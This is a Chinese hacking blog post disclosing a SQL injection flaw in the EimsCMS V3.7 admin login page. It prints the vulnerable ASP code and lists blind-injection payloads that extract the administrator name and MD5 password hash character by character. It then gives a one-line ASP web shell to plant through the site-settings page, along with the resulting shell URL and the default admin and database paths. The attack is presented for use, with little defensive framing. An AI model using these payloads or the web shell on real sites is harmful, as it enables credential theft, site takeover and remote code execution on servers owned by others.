EimsCMS V3.7 一个很鸡肋的漏洞

2010, December 16, 12:46 PM. 漏洞分析
Submitted by admin

by  不走的钟


EimsCMS V3.7 0day
默认后台:admin/login.asp
默认数据库:data/eimscms.mdb

漏洞文件:
admin/checklogin.asp

 

<!--#include file="../Include/1.asp" -->
<!--#include file="../Include/Conn.asp"-->
<!--#include file="../Include/Md5.asp"-->
<%
Response.Write "<html>"
Response.Write "<head>"
Response.Write "<meta http-equiv='Content-Type' content='text/html; charset=gb2312' />"
Response.Write "<title>验证登陆</title>"
Response.Write "</head>"
Response.Write "<BODY>"
'--------------------------------------------
Dim LoginName,LoginPassword,AdminName,Password,Permissions,UserName,Rs,Sql,UserID,SortID
LoginName = Trim(Trim(Request.Form("LoginName")))
LoginPassword = Md5(Request.Form("LoginPassword"))
If Session("CheckCode")<>Trim(Request.Form("CheckCode")) Then ClMsg("验证码错误!")
Set Rs = Server.Createobject("Adodb.Recordset")
Sql="Select * From [eims_User] Where Item1='"&LoginName&"'"  //loginname显然没有过滤
Rs.Open Sql,Conn,1,1
If Rs.Eof Then   
   ClMsg("此用户不存在!")
Else
   UserID = Int(Trim(Rs("ItemID")))
   SortID = Int(Trim(Rs("SortID")))
   AdminName = Trim(Rs("Item1"))
   Password = Trim(Rs("Item2"))
   Permissions = Trim(Rs("Item9"))
   ItemRec = Trim(Rs("ItemRec"))
End If
If SortID <> 1 Then ClMsg("你不是管理员!")
If Not ItemRec Then ClMsg("此用户已被冻结!")
If LoginPassword<>Password Then ClMsg("密码错误!")
If LoginName = AdminName And LoginPassword = Password Then   //这句对loginname有比较,比较鸡肋……
 
利用:
http://127.0.0.1/admin/Login.asp
用户名注入构造语句如下:

a' or '1'='1 //提示“你不是管理员”说明sql成立因为'1'='1'成立

a' or (select top 1 len(Item1) from eims_User where ItemID=1)>=1 and '1'='1  
//ItemID=1这个表示管理员 Item1表示管理员名

判断Item1的长度:
a' or (select top 1 len(Item1) from eims_User where ItemID=1)>=1 and '1'='1


用户名的值:
a' or (select top 1 asc(mid(Item1,6,1)) from eims_User where ItemID=1)=111 and '1'='1  


密码的长度(默认为16位的md5):
a' or (select top 1 len(Item2) from eims_User where ItemID=1)=16 and '1'='1
//Item2为密码是16位的md5

16位密码的值:
a' or (select top 1 asc(mid(Item2,6,1)) from eims_User where ItemID=1)>=53 and '1'='1


后台拿shell :

登陆后台-网站设置-网站简介 插入内容如下:
www.007hack.com"+execute(request("007hack"))+"www.007hack.com
一句话木马地址:
http://127.0.0.1/Include/Config.asp


鸡肋二个地方,一是为access数据库,二是有验证码,但只有耐心手工一样可以破解出md5,无任何技术,记录下,下次再遇到就不用找表了……
 
Tags: eimscms

« 上一篇 | 下一篇 »

Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):